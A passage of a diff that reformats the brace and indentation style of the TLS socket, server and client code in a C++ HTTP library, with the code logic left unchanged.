bool &connection_closed) { SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, write_timeout_sec, write_timeout_usec); return callback(strm, close_connection, connection_closed); - }); + }); } template inline bool process_client_socket_ssl(SSL *ssl, socket_t sock, time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec, - time_t write_timeout_usec, T callback) { - SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, - write_timeout_sec, write_timeout_usec); - return callback(strm); + time_t write_timeout_usec, T callback) +{ + SSLSocketStream strm(sock, ssl, read_timeout_sec, read_timeout_usec, + write_timeout_sec, write_timeout_usec); + return callback(strm); } -class SSLInit { +class SSLInit +{ public: - SSLInit() { - OPENSSL_init_ssl( - OPENSSL_INIT_LOAD_SSL_STRINGS | OPENSSL_INIT_LOAD_CRYPTO_STRINGS, NULL); - } + SSLInit() + { + OPENSSL_init_ssl( + OPENSSL_INIT_LOAD_SSL_STRINGS | OPENSSL_INIT_LOAD_CRYPTO_STRINGS, NULL); + } }; // SSL socket stream implementation @@ -8252,95 +9385,109 @@ inline SSLSocketStream::SSLSocketStream(socket_t sock, SSL *ssl, : sock_(sock), ssl_(ssl), read_timeout_sec_(read_timeout_sec), read_timeout_usec_(read_timeout_usec), write_timeout_sec_(write_timeout_sec), - write_timeout_usec_(write_timeout_usec) { - SSL_clear_mode(ssl, SSL_MODE_AUTO_RETRY); + write_timeout_usec_(write_timeout_usec) +{ + SSL_clear_mode(ssl, SSL_MODE_AUTO_RETRY); } inline SSLSocketStream::~SSLSocketStream() = default; -inline bool SSLSocketStream::is_readable() const { - return detail::select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; +inline bool SSLSocketStream::is_readable() const +{ + return detail::select_read(sock_, read_timeout_sec_, read_timeout_usec_) > 0; } -inline bool SSLSocketStream::is_writable() const { - return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && - is_socket_alive(sock_); +inline bool SSLSocketStream::is_writable() const +{ + return select_write(sock_, write_timeout_sec_, write_timeout_usec_) > 0 && + is_socket_alive(sock_); } -inline ssize_t SSLSocketStream::read(char *ptr, size_t size) { - if (SSL_pending(ssl_) > 0) { - return SSL_read(ssl_, ptr, static_cast(size)); - } else if (is_readable()) { - auto ret = SSL_read(ssl_, ptr, static_cast(size)); - if (ret < 0) { - auto err = SSL_get_error(ssl_, ret); - auto n = 1000; +inline ssize_t SSLSocketStream::read(char *ptr, size_t size) +{ + if (SSL_pending(ssl_) > 0) { + return SSL_read(ssl_, ptr, static_cast(size)); + } else if (is_readable()) { + auto ret = SSL_read(ssl_, ptr, static_cast(size)); + if (ret < 0) { + auto err = SSL_get_error(ssl_, ret); + auto n = 1000; #ifdef _WIN32 - while (--n >= 0 && (err == SSL_ERROR_WANT_READ || - (err == SSL_ERROR_SYSCALL && - WSAGetLastError() == WSAETIMEDOUT))) { + while (--n >= 0 && (err == SSL_ERROR_WANT_READ || + (err == SSL_ERROR_SYSCALL && + WSAGetLastError() == WSAETIMEDOUT))) { #else - while (--n >= 0 && err == SSL_ERROR_WANT_READ) { + while (--n >= 0 && err == SSL_ERROR_WANT_READ) { #endif - if (SSL_pending(ssl_) > 0) { - return SSL_read(ssl_, ptr, static_cast(size)); - } else if (is_readable()) { - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - ret = SSL_read(ssl_, ptr, static_cast(size)); - if (ret >= 0) { return ret; } - err = SSL_get_error(ssl_, ret); - } else { - return -1; + if (SSL_pending(ssl_) > 0) { + return SSL_read(ssl_, ptr, static_cast(size)); + } else if (is_readable()) { + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + ret = SSL_read(ssl_, ptr, static_cast(size)); + if (ret >= 0) { + return ret; + } + err = SSL_get_error(ssl_, ret); + } else { + return -1; + } + } } - } + return ret; } - return ret; - } - return -1; + return -1; } -inline ssize_t SSLSocketStream::write(const char *ptr, size_t size) { - if (is_writable()) { - auto handle_size = static_cast( - std::min(size, (std::numeric_limits::max)())); +inline ssize_t SSLSocketStream::write(const char *ptr, size_t size) +{ + if (is_writable()) { + auto handle_size = static_cast( + std::min(size, (std::numeric_limits::max)())); - auto ret = SSL_write(ssl_, ptr, static_cast(handle_size)); - if (ret < 0) { - auto err = SSL_get_error(ssl_, ret); - auto n = 1000; + auto ret = SSL_write(ssl_, ptr, static_cast(handle_size)); + if (ret < 0) { + auto err = SSL_get_error(ssl_, ret); + auto n = 1000; #ifdef _WIN32 - while (--n >= 0 && (err == SSL_ERROR_WANT_WRITE || - (err == SSL_ERROR_SYSCALL && - WSAGetLastError() == WSAETIMEDOUT))) { + while (--n >= 0 && (err == SSL_ERROR_WANT_WRITE || + (err == SSL_ERROR_SYSCALL && + WSAGetLastError() == WSAETIMEDOUT))) { #else - while (--n >= 0 && err == SSL_ERROR_WANT_WRITE) { + while (--n >= 0 && err == SSL_ERROR_WANT_WRITE) { #endif - if (is_writable()) { - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - ret = SSL_write(ssl_, ptr, static_cast(handle_size)); - if (ret >= 0) { return ret; } - err = SSL_get_error(ssl_, ret); - } else { - return -1; + if (is_writable()) { + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + ret = SSL_write(ssl_, ptr, static_cast(handle_size)); + if (ret >= 0) { + return ret; + } + err = SSL_get_error(ssl_, ret); + } else { + return -1; + } + } } - } + return ret; } - return ret; - } - return -1; + return -1; } inline void SSLSocketStream::get_remote_ip_and_port(std::string &ip, - int &port) const { - detail::get_remote_ip_and_port(sock_, ip, port); + int &port) const +{ + detail::get_remote_ip_and_port(sock_, ip, port); } inline void SSLSocketStream::get_local_ip_and_port(std::string &ip, - int &port) const { - detail::get_local_ip_and_port(sock_, ip, port); + int &port) const +{ + detail::get_local_ip_and_port(sock_, ip, port); } -inline socket_t SSLSocketStream::socket() const { return sock_; } +inline socket_t SSLSocketStream::socket() const +{ + return sock_; +} static SSLInit sslinit_; @@ -8350,111 +9497,128 @@ static SSLInit sslinit_; inline SSLServer::SSLServer(const char *cert_path, const char *private_key_path, const char *client_ca_cert_file_path, const char *client_ca_cert_dir_path, - const char *private_key_password) { - ctx_ = SSL_CTX_new(TLS_server_method()); + const char *private_key_password) +{ + ctx_ = SSL_CTX_new(TLS_server_method()); - if (ctx_) { - SSL_CTX_set_options(ctx_, - SSL_OP_NO_COMPRESSION | + if (ctx_) { + SSL_CTX_set_options(ctx_, + SSL_OP_NO_COMPRESSION | SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION); - SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); + SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); - // add default password callback before opening encrypted private key - if (private_key_password != nullptr && (private_key_password[0] != '\0')) { - SSL_CTX_set_default_passwd_cb_userdata( - ctx_, - reinterpret_cast(const_cast(private_key_password))); - } + // add default password callback before opening encrypted private key + if (private_key_password != nullptr && (private_key_password[0] != '\0')) { + SSL_CTX_set_default_passwd_cb_userdata( + ctx_, + reinterpret_cast(const_cast(private_key_password))); + } - if (SSL_CTX_use_certificate_chain_file(ctx_, cert_path) != 1 || - SSL_CTX_use_PrivateKey_file(ctx_, private_key_path, SSL_FILETYPE_PEM) != + if (SSL_CTX_use_certificate_chain_file(ctx_, cert_path) != 1 || + SSL_CTX_use_PrivateKey_file(ctx_, private_key_path, SSL_FILETYPE_PEM) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; - } else if (client_ca_cert_file_path || client_ca_cert_dir_path) { - SSL_CTX_load_verify_locations(ctx_, client_ca_cert_file_path, - client_ca_cert_dir_path); + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } else if (client_ca_cert_file_path || client_ca_cert_dir_path) { + SSL_CTX_load_verify_locations(ctx_, client_ca_cert_file_path, + client_ca_cert_dir_path); - SSL_CTX_set_verify( - ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + SSL_CTX_set_verify( + ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + } } - } } inline SSLServer::SSLServer(X509 *cert, EVP_PKEY *private_key, - X509_STORE *client_ca_cert_store) { - ctx_ = SSL_CTX_new(TLS_server_method()); + X509_STORE *client_ca_cert_store) +{ + ctx_ = SSL_CTX_new(TLS_server_method()); - if (ctx_) { - SSL_CTX_set_options(ctx_, - SSL_OP_NO_COMPRESSION | + if (ctx_) { + SSL_CTX_set_options(ctx_, + SSL_OP_NO_COMPRESSION | SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION); - SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); + SSL_CTX_set_min_proto_version(ctx_, TLS1_1_VERSION); - if (SSL_CTX_use_certificate(ctx_, cert) != 1 || - SSL_CTX_use_PrivateKey(ctx_, private_key) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; - } else if (client_ca_cert_store) { - SSL_CTX_set_cert_store(ctx_, client_ca_cert_store); + if (SSL_CTX_use_certificate(ctx_, cert) != 1 || + SSL_CTX_use_PrivateKey(ctx_, private_key) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } else if (client_ca_cert_store) { + SSL_CTX_set_cert_store(ctx_, client_ca_cert_store); - SSL_CTX_set_verify( - ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + SSL_CTX_set_verify( + ctx_, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, nullptr); + } } - } } inline SSLServer::SSLServer( - const std::function &setup_ssl_ctx_callback) { - ctx_ = SSL_CTX_new(TLS_method()); - if (ctx_) { - if (!setup_ssl_ctx_callback(*ctx_)) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + const std::function &setup_ssl_ctx_callback) +{ + ctx_ = SSL_CTX_new(TLS_method()); + if (ctx_) { + if (!setup_ssl_ctx_callback(*ctx_)) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } -inline SSLServer::~SSLServer() { - if (ctx_) { SSL_CTX_free(ctx_); } +inline SSLServer::~SSLServer() +{ + if (ctx_) { + SSL_CTX_free(ctx_); + } } -inline bool SSLServer::is_valid() const { return ctx_; } +inline bool SSLServer::is_valid() const +{ + return ctx_; +} -inline SSL_CTX *SSLServer::ssl_context() const { return ctx_; } +inline SSL_CTX *SSLServer::ssl_context() const +{ + return ctx_; +} -inline bool SSLServer::process_and_close_socket(socket_t sock) { - auto ssl = detail::ssl_new( - sock, ctx_, ctx_mutex_, - [&](SSL *ssl2) { +inline bool SSLServer::process_and_close_socket(socket_t sock) +{ + auto ssl = detail::ssl_new( + sock, ctx_, ctx_mutex_, + [&](SSL *ssl2) { return detail::ssl_connect_or_accept_nonblocking( - sock, ssl2, SSL_accept, read_timeout_sec_, read_timeout_usec_); - }, - [](SSL * /*ssl2*/) { return true; }); + sock, ssl2, SSL_accept, read_timeout_sec_, read_timeout_usec_); + }, + [](SSL * /*ssl2*/) { + return true; + }); - auto ret = false; - if (ssl) { - ret = detail::process_server_socket_ssl( - svr_sock_, ssl, sock, keep_alive_max_count_, keep_alive_timeout_sec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, - [this, ssl](Stream &strm, bool close_connection, - bool &connection_closed) { - return process_request(strm, close_connection, connection_closed, - [&](Request &req) { req.ssl = ssl; }); + auto ret = false; + if (ssl) { + ret = detail::process_server_socket_ssl( + svr_sock_, ssl, sock, keep_alive_max_count_, keep_alive_timeout_sec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, + [this, ssl](Stream &strm, bool close_connection, + bool &connection_closed) { + return process_request(strm, close_connection, connection_closed, + [&](Request &req) { + req.ssl = ssl; + }); }); - // Shutdown gracefully if the result seemed successful, non-gracefully if - // the connection appeared to be closed. - const bool shutdown_gracefully = ret; - detail::ssl_delete(ctx_mutex_, ssl, shutdown_gracefully); - } + // Shutdown gracefully if the result seemed successful, non-gracefully if + // the connection appeared to be closed. + const bool shutdown_gracefully = ret; + detail::ssl_delete(ctx_mutex_, ssl, shutdown_gracefully); + } - detail::shutdown_socket(sock); - detail::close_socket(sock); - return ret; + detail::shutdown_socket(sock); + detail::close_socket(sock); + return ret; } // SSL HTTP client implementation @@ -8467,399 +9631,439 @@ inline SSLClient::SSLClient(const std::string &host, int port) inline SSLClient::SSLClient(const std::string &host, int port, const std::string &client_cert_path, const std::string &client_key_path) - : ClientImpl(host, port, client_cert_path, client_key_path) { - ctx_ = SSL_CTX_new(TLS_client_method()); + : ClientImpl(host, port, client_cert_path, client_key_path) +{ + ctx_ = SSL_CTX_new(TLS_client_method()); - detail::split(&host_[0], &host_[host_.size()], '.', - [&](const char *b, const char *e) { - host_components_.emplace_back(b, e); - }); + detail::split(&host_[0], &host_[host_.size()], '.', + [&](const char *b, const char *e) { + host_components_.emplace_back(b, e); + }); - if (!client_cert_path.empty() && !client_key_path.empty()) { - if (SSL_CTX_use_certificate_file(ctx_, client_cert_path.c_str(), - SSL_FILETYPE_PEM) != 1 || - SSL_CTX_use_PrivateKey_file(ctx_, client_key_path.c_str(), - SSL_FILETYPE_PEM) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + if (!client_cert_path.empty() && !client_key_path.empty()) { + if (SSL_CTX_use_certificate_file(ctx_, client_cert_path.c_str(), + SSL_FILETYPE_PEM) != 1 || + SSL_CTX_use_PrivateKey_file(ctx_, client_key_path.c_str(), + SSL_FILETYPE_PEM) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } inline SSLClient::SSLClient(const std::string &host, int port, X509 *client_cert, EVP_PKEY *client_key) - : ClientImpl(host, port) { - ctx_ = SSL_CTX_new(TLS_client_method()); + : ClientImpl(host, port) +{ + ctx_ = SSL_CTX_new(TLS_client_method()); - detail::split(&host_[0], &host_[host_.size()], '.', - [&](const char *b, const char *e) { - host_components_.emplace_back(b, e); - }); + detail::split(&host_[0], &host_[host_.size()], '.', + [&](const char *b, const char *e) { + host_components_.emplace_back(b, e); + }); - if (client_cert != nullptr && client_key != nullptr) { - if (SSL_CTX_use_certificate(ctx_, client_cert) != 1 || - SSL_CTX_use_PrivateKey(ctx_, client_key) != 1) { - SSL_CTX_free(ctx_); - ctx_ = nullptr; + if (client_cert != nullptr && client_key != nullptr) { + if (SSL_CTX_use_certificate(ctx_, client_cert) != 1 || + SSL_CTX_use_PrivateKey(ctx_, client_key) != 1) { + SSL_CTX_free(ctx_); + ctx_ = nullptr; + } } - } } -inline SSLClient::~SSLClient() { - if (ctx_) { SSL_CTX_free(ctx_); } - // Make sure to shut down SSL since shutdown_ssl will resolve to the - // base function rather than the derived function once we get to the - // base class destructor, and won't free the SSL (causing a leak). - shutdown_ssl_impl(socket_, true); -} - -inline bool SSLClient::is_valid() const { return ctx_; } - -inline void SSLClient::set_ca_cert_store(X509_STORE *ca_cert_store) { - if (ca_cert_store) { +inline SSLClient::~SSLClient() +{ if (ctx_) { - if (SSL_CTX_get_cert_store(ctx_) != ca_cert_store) { - // Free memory allocated for old cert and use new store `ca_cert_store` - SSL_CTX_set_cert_store(ctx_, ca_cert_store); - } - } else { - X509_STORE_free(ca_cert_store); + SSL_CTX_free(ctx_); + } + // Make sure to shut down SSL since shutdown_ssl will resolve to the + // base function rather than the derived function once we get to the + // base class destructor, and won't free the SSL (causing a leak). + shutdown_ssl_impl(socket_, true); +} + +inline bool SSLClient::is_valid() const +{ + return ctx_; +} + +inline void SSLClient::set_ca_cert_store(X509_STORE *ca_cert_store) +{ + if (ca_cert_store) { + if (ctx_) { + if (SSL_CTX_get_cert_store(ctx_) != ca_cert_store) { + // Free memory allocated for old cert and use new store `ca_cert_store` + SSL_CTX_set_cert_store(ctx_, ca_cert_store); + } + } else { + X509_STORE_free(ca_cert_store); + } } - } } inline void SSLClient::load_ca_cert_store(const char *ca_cert, - std::size_t size) { - set_ca_cert_store(ClientImpl::create_ca_cert_store(ca_cert, size)); + std::size_t size) +{ + set_ca_cert_store(ClientImpl::create_ca_cert_store(ca_cert, size)); } -inline long SSLClient::get_openssl_verify_result() const { - return verify_result_; +inline long SSLClient::get_openssl_verify_result() const +{ + return verify_result_; } -inline SSL_CTX *SSLClient::ssl_context() const { return ctx_; } +inline SSL_CTX *SSLClient::ssl_context() const +{ + return ctx_; +} -inline bool SSLClient::create_and_connect_socket(Socket &socket, Error &error) { - return is_valid() && ClientImpl::create_and_connect_socket(socket, error); +inline bool SSLClient::create_and_connect_socket(Socket &socket, Error &error) +{ + return is_valid() && ClientImpl::create_and_connect_socket(socket, error); } // Assumes that socket_mutex_ is locked and that there are no requests in flight inline bool SSLClient::connect_with_proxy(Socket &socket, Response &res, - bool &success, Error &error) { - success = true; - Response proxy_res; - if (!detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { - Request req2; - req2.method = "CONNECT"; - req2.path = host_and_port_; - return process_request(strm, req2, proxy_res, false, error); - })) { - // Thread-safe to close everything because we are assuming there are no - // requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - success = false; - return false; - } - - if (proxy_res.status == StatusCode::ProxyAuthenticationRequired_407) { - if (!proxy_digest_auth_username_.empty() && - !proxy_digest_auth_password_.empty()) { - std::map auth; - if (detail::parse_www_authenticate(proxy_res, auth, true)) { - proxy_res = Response(); - if (!detail::process_client_socket( - socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { - Request req3; - req3.method = "CONNECT"; - req3.path = host_and_port_; - req3.headers.insert(detail::make_digest_authentication_header( - req3, auth, 1, detail::random_string(10), - proxy_digest_auth_username_, proxy_digest_auth_password_, - true)); - return process_request(strm, req3, proxy_res, false, error); - })) { - // Thread-safe to close everything because we are assuming there are - // no requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - success = false; - return false; - } - } + bool &success, Error &error) +{ + success = true; + Response proxy_res; + if (!detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { + Request req2; + req2.method = "CONNECT"; + req2.path = host_and_port_; + return process_request(strm, req2, proxy_res, false, error); + })) { + // Thread-safe to close everything because we are assuming there are no + // requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + success = false; + return false; } - } - // If status code is not 200, proxy request is failed. - // Set error to ProxyConnection and return proxy response - // as the response of the request - if (proxy_res.status != StatusCode::OK_200) { - error = Error::ProxyConnection; - res = std::move(proxy_res); - // Thread-safe to close everything because we are assuming there are - // no requests in flight - shutdown_ssl(socket, true); - shutdown_socket(socket); - close_socket(socket); - return false; - } + if (proxy_res.status == StatusCode::ProxyAuthenticationRequired_407) { + if (!proxy_digest_auth_username_.empty() && + !proxy_digest_auth_password_.empty()) { + std::map auth; + if (detail::parse_www_authenticate(proxy_res, auth, true)) { + proxy_res = Response(); + if (!detail::process_client_socket( + socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, [&](Stream &strm) { + Request req3; + req3.method = "CONNECT"; + req3.path = host_and_port_; + req3.headers.insert(detail::make_digest_authentication_header( + req3, auth, 1, detail::random_string(10), + proxy_digest_auth_username_, proxy_digest_auth_password_, + true)); + return process_request(strm, req3, proxy_res, false, error); + })) { + // Thread-safe to close everything because we are assuming there are + // no requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + success = false; + return false; + } + } + } + } - return true; + // If status code is not 200, proxy request is failed. + // Set error to ProxyConnection and return proxy response + // as the response of the request + if (proxy_res.status != StatusCode::OK_200) { + error = Error::ProxyConnection; + res = std::move(proxy_res); + // Thread-safe to close everything because we are assuming there are + // no requests in flight + shutdown_ssl(socket, true); + shutdown_socket(socket); + close_socket(socket); + return false; + } + + return true; } -inline bool SSLClient::load_certs() { - auto ret = true; +inline bool SSLClient::load_certs() +{ + auto ret = true; - std::call_once(initialize_cert_, [&]() { - std::lock_guard guard(ctx_mutex_); - if (!ca_cert_file_path_.empty()) { - if (!SSL_CTX_load_verify_locations(ctx_, ca_cert_file_path_.c_str(), - nullptr)) { - ret = false; - } - } else if (!ca_cert_dir_path_.empty()) { - if (!SSL_CTX_load_verify_locations(ctx_, nullptr, - ca_cert_dir_path_.c_str())) { - ret = false; - } - } else { - auto loaded = false; + std::call_once(initialize_cert_, [&]() { + std::lock_guard guard(ctx_mutex_); + if (!ca_cert_file_path_.empty()) { + if (!SSL_CTX_load_verify_locations(ctx_, ca_cert_file_path_.c_str(), + nullptr)) { + ret = false; + } + } else if (!ca_cert_dir_path_.empty()) { + if (!SSL_CTX_load_verify_locations(ctx_, nullptr, + ca_cert_dir_path_.c_str())) { + ret = false; + } + } else { + auto loaded = false; #ifdef _WIN32 - loaded = - detail::load_system_certs_on_windows(SSL_CTX_get_cert_store(ctx_)); + loaded = + detail::load_system_certs_on_windows(SSL_CTX_get_cert_store(ctx_)); #elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__) #if TARGET_OS_OSX - loaded = detail::load_system_certs_on_macos(SSL_CTX_get_cert_store(ctx_)); + loaded = detail::load_system_certs_on_macos(SSL_CTX_get_cert_store(ctx_)); #endif // TARGET_OS_OSX #endif // _WIN32 - if (!loaded) { SSL_CTX_set_default_verify_paths(ctx_); } - } - }); + if (!loaded) { + SSL_CTX_set_default_verify_paths(ctx_); + } + } + }); - return ret; + return ret; } -inline bool SSLClient::initialize_ssl(Socket &socket, Error &error) { - auto ssl = detail::ssl_new( - socket.sock, ctx_, ctx_mutex_, - [&](SSL *ssl2) { +inline bool SSLClient::initialize_ssl(Socket &socket, Error &error) +{ + auto ssl = detail::ssl_new( + socket.sock, ctx_, ctx_mutex_, + [&](SSL *ssl2) { if (server_certificate_verification_) { - if (!load_certs()) { - error = Error::SSLLoadingCerts; - return false; - } - SSL_set_verify(ssl2, SSL_VERIFY_NONE, nullptr); + if (!load_certs()) { + error = Error::SSLLoadingCerts; + return false; + } + SSL_set_verify(ssl2, SSL_VERIFY_NONE, nullptr); } if (!detail::ssl_connect_or_accept_nonblocking( socket.sock, ssl2, SSL_connect, connection_timeout_sec_, connection_timeout_usec_)) { - error = Error::SSLConnection; - return false; + error = Error::SSLConnection; + return false; } if (server_certificate_verification_) { - verify_result_ = SSL_get_verify_result(ssl2); + verify_result_ = SSL_get_verify_result(ssl2); - if (verify_result_ != X509_V_OK) { - error = Error::SSLServerVerification; - return false; - } + if (verify_result_ != X509_V_OK) { + error = Error::SSLServerVerification; + return false; + } - auto server_cert = SSL_get1_peer_certificate(ssl2); + auto server_cert = SSL_get1_peer_certificate(ssl2); - if (server_cert == nullptr) { - error = Error::SSLServerVerification; - return false; - } + if (server_cert == nullptr) { + error = Error::SSLServerVerification; + return false; + } - if (!verify_host(server_cert)) { + if (!verify_host(server_cert)) { + X509_free(server_cert); + error = Error::SSLServerVerification; + return false; + } X509_free(server_cert); - error = Error::SSLServerVerification; - return false; - } - X509_free(server_cert); } return true; - }, - [&](SSL *ssl2) { + }, + [&](SSL *ssl2) { // NOTE: With -Wold-style-cast, this can produce a warning, since // SSL_set_tlsext_host_name is a macro (in OpenSSL), which contains // an old style cast. Short of doing compiler specific pragma's // here, we can't get rid of this warning. :'( SSL_set_tlsext_host_name(ssl2, host_.c_str()); return true; - }); + }); - if (ssl) { - socket.ssl = ssl; - return true; - } + if (ssl) { + socket.ssl = ssl; + return true; + } - shutdown_socket(socket); - close_socket(socket); - return false; + shutdown_socket(socket); + close_socket(socket); + return false; } -inline void SSLClient::shutdown_ssl(Socket &socket, bool shutdown_gracefully) { - shutdown_ssl_impl(socket, shutdown_gracefully); +inline void SSLClient::shutdown_ssl(Socket &socket, bool shutdown_gracefully) +{ + shutdown_ssl_impl(socket, shutdown_gracefully); } inline void SSLClient::shutdown_ssl_impl(Socket &socket, - bool shutdown_gracefully) { - if (socket.sock == INVALID_SOCKET) { + bool shutdown_gracefully) +{ + if (socket.sock == INVALID_SOCKET) { + assert(socket.ssl == nullptr); + return; + } + if (socket.ssl) { + detail::ssl_delete(ctx_mutex_, socket.ssl, shutdown_gracefully); + socket.ssl = nullptr; + } assert(socket.ssl == nullptr); - return; - } - if (socket.ssl) { - detail::ssl_delete(ctx_mutex_, socket.ssl, shutdown_gracefully); - socket.ssl = nullptr; - } - assert(socket.ssl == nullptr); } inline bool SSLClient::process_socket(const Socket &socket, - std::function callback) { - assert(socket.ssl); - return detail::process_client_socket_ssl( - socket.ssl, socket.sock, read_timeout_sec_, read_timeout_usec_, - write_timeout_sec_, write_timeout_usec_, std::move(callback)); + std::function callback) +{ + assert(socket.ssl); + return detail::process_client_socket_ssl( + socket.ssl, socket.sock, read_timeout_sec_, read_timeout_usec_, + write_timeout_sec_, write_timeout_usec_, std::move(callback)); } -inline bool SSLClient::is_ssl() const { return true; } +inline bool SSLClient::is_ssl() const +{ + return true; +} -inline bool SSLClient::verify_host(X509 *server_cert) const { - /* Quote from RFC2818 section 3.1 "Server Identity" +inline bool SSLClient::verify_host(X509 *server_cert) const +{ + /* Quote from RFC2818 section 3.1 "Server Identity" - If a subjectAltName extension of type dNSName is present, that MUST - be used as the identity. Otherwise, the (most specific) Common Name - field in the Subject field of the certificate MUST be used. Although - the use of the Common Name is existing practice, it is deprecated and - Certification Authorities are encouraged to use the dNSName instead. + If a subjectAltName extension of type dNSName is present, that MUST + be used as the identity. Otherwise, the (most specific) Common Name + field in the Subject field of the certificate MUST be used. Although + the use of the Common Name is existing practice, it is deprecated and + Certification Authorities are encouraged to use the dNSName instead. - Matching is performed using the matching rules specified by - [RFC2459]. If more than one identity of a given type is present in - the certificate (e.g., more than one dNSName name, a match in any one - of the set is considered acceptable.) Names may contain the wildcard - character * which is considered to match any single domain name - component or component fragment. E.g., *.a.com matches foo.a.com but - not bar.foo.a.com. f*.com matches foo.com but not bar.com. + Matching is performed using the matching rules specified by + [RFC2459]. If more than one identity of a given type is present in + the certificate (e.g., more than one dNSName name, a match in any one + of the set is considered acceptable.) Names may contain the wildcard + character * which is considered to match any single domain name + component or component fragment. E.g., *.a.com matches foo.a.com but + not bar.foo.a.com. f*.com matches foo.com but not bar.com. - In some cases, the URI is specified as an IP address rather than a - hostname. In this case, the iPAddress subjectAltName must be present - in the certificate and must exactly match the IP in the URI. + In some cases, the URI is specified as an IP address rather than a + hostname. In this case, the iPAddress subjectAltName must be present + in the certificate and must exactly match the IP in the URI. - */ - return verify_host_with_subject_alt_name(server_cert) || - verify_host_with_common_name(server_cert); + */ + return verify_host_with_subject_alt_name(server_cert) || + verify_host_with_common_name(server_cert); } inline bool -SSLClient::verify_host_with_subject_alt_name(X509 *server_cert) const { - auto ret = false; +SSLClient::verify_host_with_subject_alt_name(X509 *server_cert) const +{ + auto ret = false; - auto type = GEN_DNS; + auto type = GEN_DNS; - struct in6_addr addr6 {}; - struct in_addr addr {}; - size_t addr_len = 0; + struct in6_addr addr6 {}; + struct in_addr addr {}; + size_t addr_len = 0; #ifndef __MINGW32__ - if (inet_pton(AF_INET6, host_.c_str(), &addr6)) { - type = GEN_IPADD; - addr_len = sizeof(struct in6_addr); - } else if (inet_pton(AF_INET, host_.c_str(), &addr)) { - type = GEN_IPADD; - addr_len = sizeof(struct in_addr); - } + if (inet_pton(AF_INET6, host_.c_str(), &addr6)) { + type = GEN_IPADD; + addr_len = sizeof(struct in6_addr); + } else if (inet_pton(AF_INET, host_.c_str(), &addr)) { + type = GEN_IPADD; + addr_len = sizeof(struct in_addr); + } #endif - auto alt_names = static_cast( - X509_get_ext_d2i(server_cert, NID_subject_alt_name, nullptr, nullptr)); + auto alt_names = static_cast( + X509_get_ext_d2i(server_cert, NID_subject_alt_name, nullptr, nullptr)); - if (alt_names) { - auto dsn_matched = false; - auto ip_matched = false; + if (alt_names) { + auto dsn_matched = false; + auto ip_matched = false; - auto count = sk_GENERAL_NAME_num(alt_names); + auto count = sk_GENERAL_NAME_num(alt_names); - for (decltype(count) i = 0; i < count && !dsn_matched; i++) { - auto val = sk_GENERAL_NAME_value(alt_names, i); - if (val->type == type) { - auto name = - reinterpret_cast(ASN1_STRING_get0_data(val->d.ia5)); - auto name_len = static_cast(ASN1_STRING_length(val->d.ia5)); + for (decltype(count) i = 0; i < count && !dsn_matched; i++) { + auto val = sk_GENERAL_NAME_value(alt_names, i); + if (val->type == type) { + auto name = + reinterpret_cast(ASN1_STRING_get0_data(val->d.ia5)); + auto name_len = static_cast(ASN1_STRING_length(val->d.ia5)); - switch (type) { - case GEN_DNS: dsn_matched = check_host_name(name, name_len); break; + switch (type) { + case GEN_DNS: + dsn_matched = check_host_name(name, name_len); + break; - case GEN_IPADD: - if (!memcmp(&addr6, name, addr_len) || - !memcmp(&addr, name, addr_len)) { - ip_matched = true; - } - break; + case GEN_IPADD: + if (!memcmp(&addr6, name, addr_len) || + !memcmp(&addr, name, addr_len)) { + ip_matched = true; + } + break; + } + } + } + + if (dsn_matched || ip_matched) { + ret = true; } - } } - if (dsn_matched || ip_matched) { ret = true; } - } - - GENERAL_NAMES_free(const_cast( - reinterpret_cast(alt_names))); - return ret; + GENERAL_NAMES_free(const_cast( + reinterpret_cast(alt_names))); + return ret; } -inline bool SSLClient::verify_host_with_common_name(X509 *server_cert) const { - const auto subject_name = X509_get_subject_name(server_cert); +inline bool SSLClient::verify_host_with_common_name(X509 *server_cert) const +{ + const auto subject_name = X509_get_subject_name(server_cert); - if (subject_name != nullptr) { - char name[BUFSIZ]; - auto name_len = 